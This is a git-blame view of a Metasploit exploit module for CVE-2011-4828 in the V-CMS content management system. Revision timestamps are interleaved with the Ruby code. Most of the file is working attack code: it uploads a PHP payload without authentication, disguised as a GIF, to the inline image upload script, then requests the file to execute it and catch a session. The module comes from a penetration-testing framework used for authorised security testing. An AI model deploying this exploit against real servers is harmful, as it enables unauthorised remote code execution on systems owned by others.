Files
metasploit-gs/modules/exploits/linux/http/vcms_upload.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

119 lines
3.6 KiB
Ruby
Raw Normal View History

2012-04-13 18:12:16 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-04-13 18:12:16 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-04-13 18:12:16 -05:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-04-13 18:12:16 -05:00
include Msf::Exploit::Remote::HttpClient
2012-10-12 04:29:16 -05:00
include Msf::Exploit::PhpEXE
2013-08-30 16:28:54 -05:00
2012-04-13 18:12:16 -05:00
def initialize(info={})
super(update_info(info,
'Name' => "V-CMS PHP File Upload and Execute",
'Description' => %q{
This module exploits a vulnerability found on V-CMS's inline image upload feature.
The problem is due to the inline_image_upload.php file not checking the file type
before saving it on the web server. This allows any malicious user to upload a
script (such as PHP) without authentication, and then execute it with a GET request.
2013-08-30 16:28:54 -05:00
2012-04-13 18:12:16 -05:00
The issue is fixed in 1.1 by checking the extension name. By default, 1.1 only
allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as
one of those extension names, which may still be leveraged in an attack.
},
'License' => MSF_LICENSE,
'Author' =>
[
2012-10-12 04:29:16 -05:00
'AutoSec Tools', # Initial discovery
'sinn3r' # Metasploit
2012-04-13 18:12:16 -05:00
],
'References' =>
[
['CVE', '2011-4828'],
['OSVDB', '77183'],
2012-04-13 18:12:16 -05:00
['BID', '50706'],
['URL', 'http://xforce.iss.net/xforce/xfdb/71358']
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
2012-10-12 04:29:16 -05:00
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
2012-04-13 18:12:16 -05:00
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2011-11-27', #When the ticket was created
2012-04-13 18:12:16 -05:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
2012-04-13 18:12:16 -05:00
register_options(
[
2012-04-18 18:57:37 -05:00
OptString.new('TARGETURI', [true, 'The URI path to vcms', '/vcms/'])
])
2012-04-13 18:12:16 -05:00
end
2013-08-30 16:28:54 -05:00
2012-04-13 18:12:16 -05:00
def check
2012-11-08 17:42:48 +01:00
uri = normalize_uri(target_uri.path)
2013-01-28 13:19:31 -06:00
uri << '/' if uri[-1,1] != '/'
2012-04-13 18:12:16 -05:00
res = send_request_raw({
2012-11-08 17:42:48 +01:00
'uri' => uri,
2012-04-13 18:12:16 -05:00
'method' => 'GET'
})
2013-08-30 16:28:54 -05:00
2012-04-13 18:12:16 -05:00
if res and res.body =~ /V\-CMS v1\.[0-1]/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
2013-08-30 16:28:54 -05:00
2012-04-13 18:12:16 -05:00
def exploit
peer = "#{rhost}:#{rport}"
2013-08-30 16:28:54 -05:00
2013-01-30 23:23:41 -06:00
base = target_uri.path
2012-04-13 18:12:16 -05:00
base << '/' if base[-1,1] != '/'
2013-08-30 16:28:54 -05:00
2012-04-13 18:12:16 -05:00
@payload_name = "#{rand_text_alpha(5)}.php"
2012-10-12 04:29:16 -05:00
p = get_write_exec_payload(:unlink_self=>true)
2013-08-30 16:28:54 -05:00
2012-04-13 18:12:16 -05:00
post_data = "------x\r\n"
post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
post_data << "Content-Type: image/gif\r\n"
post_data << "\r\n"
2012-10-12 04:29:16 -05:00
post_data << p + "\r\n"
2012-04-13 18:12:16 -05:00
post_data << "------x--\r\n"
2013-08-30 16:28:54 -05:00
2012-04-13 18:12:16 -05:00
print_status("#{peer} Uploading payload: #{@payload_name}")
res = send_request_cgi({
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri(base, 'includes/inline_image_upload.php'),
2012-04-13 18:12:16 -05:00
'method' => 'POST',
'ctype' => 'multipart/form-data; boundary=----x',
'data' => post_data
})
2013-08-30 16:28:54 -05:00
2012-04-13 18:12:16 -05:00
if res
print_status("#{peer} replies status: #{res.code.to_s}")
else
print_error("#{peer} No response from server. Will not continue")
return
end
2013-08-30 16:28:54 -05:00
2012-04-13 18:12:16 -05:00
print_status("#{peer} Executing payload: #{@payload_name}")
res = send_request_raw({
'uri' => "#{base}temp/#{@payload_name}",
'method' => 'GET'
})
2013-08-30 16:28:54 -05:00
2012-04-13 18:12:16 -05:00
if res and res.code == 404
print_error("#{peer} 404 - the upload probably failed")
return
end
2013-08-30 16:28:54 -05:00
2012-04-13 18:12:16 -05:00
handler
end
2012-10-12 04:29:16 -05:00
end